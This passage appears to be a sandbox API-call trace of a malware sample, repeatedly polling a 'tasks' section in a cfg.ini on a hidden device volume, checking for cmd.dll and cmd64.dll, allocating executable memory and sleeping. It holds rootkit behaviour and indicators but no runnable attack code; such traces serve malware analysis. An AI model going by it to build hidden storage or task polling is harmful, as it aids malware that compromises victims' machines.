FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.026] KeLeaveCriticalRegion () [0121.026] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.026] KeEnterCriticalRegion () [0121.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.027] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.027] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.027] KeLeaveCriticalRegion () [0121.027] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.027] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.027] KeEnterCriticalRegion () [0121.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.027] ExFreePoolWithTag (P=0xfffffa8003b9f360, Tag=0x0) [0121.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.027] KeLeaveCriticalRegion () [0121.027] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.027] ReleaseMutex (hMutex=0xf0) returned 1 [0121.027] Sleep (dwMilliseconds=0x927c0) [0121.041] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.041] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.041] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.041] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.041] KeEnterCriticalRegion () [0121.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.041] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.041] IdePortDispatch () returned 0x103 [0121.041] KeWaitForMutexObject () returned 0x0 [0121.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.042] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.042] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.042] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.042] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.042] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe3f0 [0121.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.042] KeLeaveCriticalRegion () [0121.042] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.042] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.042] KeEnterCriticalRegion () [0121.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.042] KeLeaveCriticalRegion () [0121.042] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.042] KeEnterCriticalRegion () [0121.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.042] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.042] IdePortDispatch () returned 0x103 [0121.042] KeWaitForMutexObject () returned 0x0 [0121.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.042] KeLeaveCriticalRegion () [0121.042] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.042] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.042] KeEnterCriticalRegion () [0121.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003548000 [0121.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.042] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.043] IdePortDispatch () returned 0x103 [0121.043] KeWaitForMutexObject () returned 0x0 [0121.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.043] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.043] IdePortDispatch () returned 0x103 [0121.043] KeWaitForMutexObject () returned 0x0 [0121.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.043] KeLeaveCriticalRegion () [0121.043] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.043] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.044] KeEnterCriticalRegion () [0121.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.044] KeLeaveCriticalRegion () [0121.044] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.044] KeEnterCriticalRegion () [0121.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.044] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.044] KeLeaveCriticalRegion () [0121.044] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.044] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.044] KeEnterCriticalRegion () [0121.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.044] ExFreePoolWithTag (P=0xfffffa8003bbe3f0, Tag=0x0) [0121.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.044] KeLeaveCriticalRegion () [0121.044] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.044] ReleaseMutex (hMutex=0xf0) returned 1 [0121.044] Sleep (dwMilliseconds=0x927c0) [0121.059] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.059] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.059] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.059] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.059] KeEnterCriticalRegion () [0121.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.059] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.059] IdePortDispatch () returned 0x103 [0121.059] KeWaitForMutexObject () returned 0x0 [0121.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.059] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe440 [0121.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.059] KeLeaveCriticalRegion () [0121.059] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.059] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.059] KeEnterCriticalRegion () [0121.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.059] KeLeaveCriticalRegion () [0121.059] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.059] KeEnterCriticalRegion () [0121.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.059] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.059] IdePortDispatch () returned 0x103 [0121.059] KeWaitForMutexObject () returned 0x0 [0121.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.060] KeLeaveCriticalRegion () [0121.060] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.060] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.060] KeEnterCriticalRegion () [0121.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354d000 [0121.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.061] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.061] IdePortDispatch () returned 0x103 [0121.061] KeWaitForMutexObject () returned 0x0 [0121.061] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.061] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.061] IdePortDispatch () returned 0x103 [0121.061] KeWaitForMutexObject () returned 0x0 [0121.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.061] KeLeaveCriticalRegion () [0121.061] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.062] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.062] KeEnterCriticalRegion () [0121.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] KeLeaveCriticalRegion () [0121.062] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.062] KeEnterCriticalRegion () [0121.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.062] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] KeLeaveCriticalRegion () [0121.062] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.062] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.062] KeEnterCriticalRegion () [0121.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] ExFreePoolWithTag (P=0xfffffa8003bbe440, Tag=0x0) [0121.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.062] KeLeaveCriticalRegion () [0121.062] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.062] ReleaseMutex (hMutex=0xf0) returned 1 [0121.062] Sleep (dwMilliseconds=0x927c0) [0121.063] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.063] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.069] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.069] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.069] KeEnterCriticalRegion () [0121.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.069] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.069] IdePortDispatch () returned 0x103 [0121.070] KeWaitForMutexObject () returned 0x0 [0121.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.070] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.070] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.070] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.070] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.070] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.070] KeLeaveCriticalRegion () [0121.070] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.070] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.070] KeEnterCriticalRegion () [0121.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.070] KeLeaveCriticalRegion () [0121.070] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.070] KeEnterCriticalRegion () [0121.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.070] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.070] IdePortDispatch () returned 0x103 [0121.070] KeWaitForMutexObject () returned 0x0 [0121.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.070] KeLeaveCriticalRegion () [0121.070] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.071] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.071] KeEnterCriticalRegion () [0121.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003570000 [0121.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.071] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.071] IdePortDispatch () returned 0x103 [0121.071] KeWaitForMutexObject () returned 0x0 [0121.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.071] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.071] IdePortDispatch () returned 0x103 [0121.071] KeWaitForMutexObject () returned 0x0 [0121.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.071] KeLeaveCriticalRegion () [0121.071] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.072] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.072] KeEnterCriticalRegion () [0121.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] KeLeaveCriticalRegion () [0121.072] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.072] KeEnterCriticalRegion () [0121.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.072] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] KeLeaveCriticalRegion () [0121.072] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.072] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.072] KeEnterCriticalRegion () [0121.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.072] KeLeaveCriticalRegion () [0121.072] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.072] ReleaseMutex (hMutex=0xf0) returned 1 [0121.072] Sleep (dwMilliseconds=0x927c0) [0121.084] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.084] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.084] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.084] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.084] KeEnterCriticalRegion () [0121.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 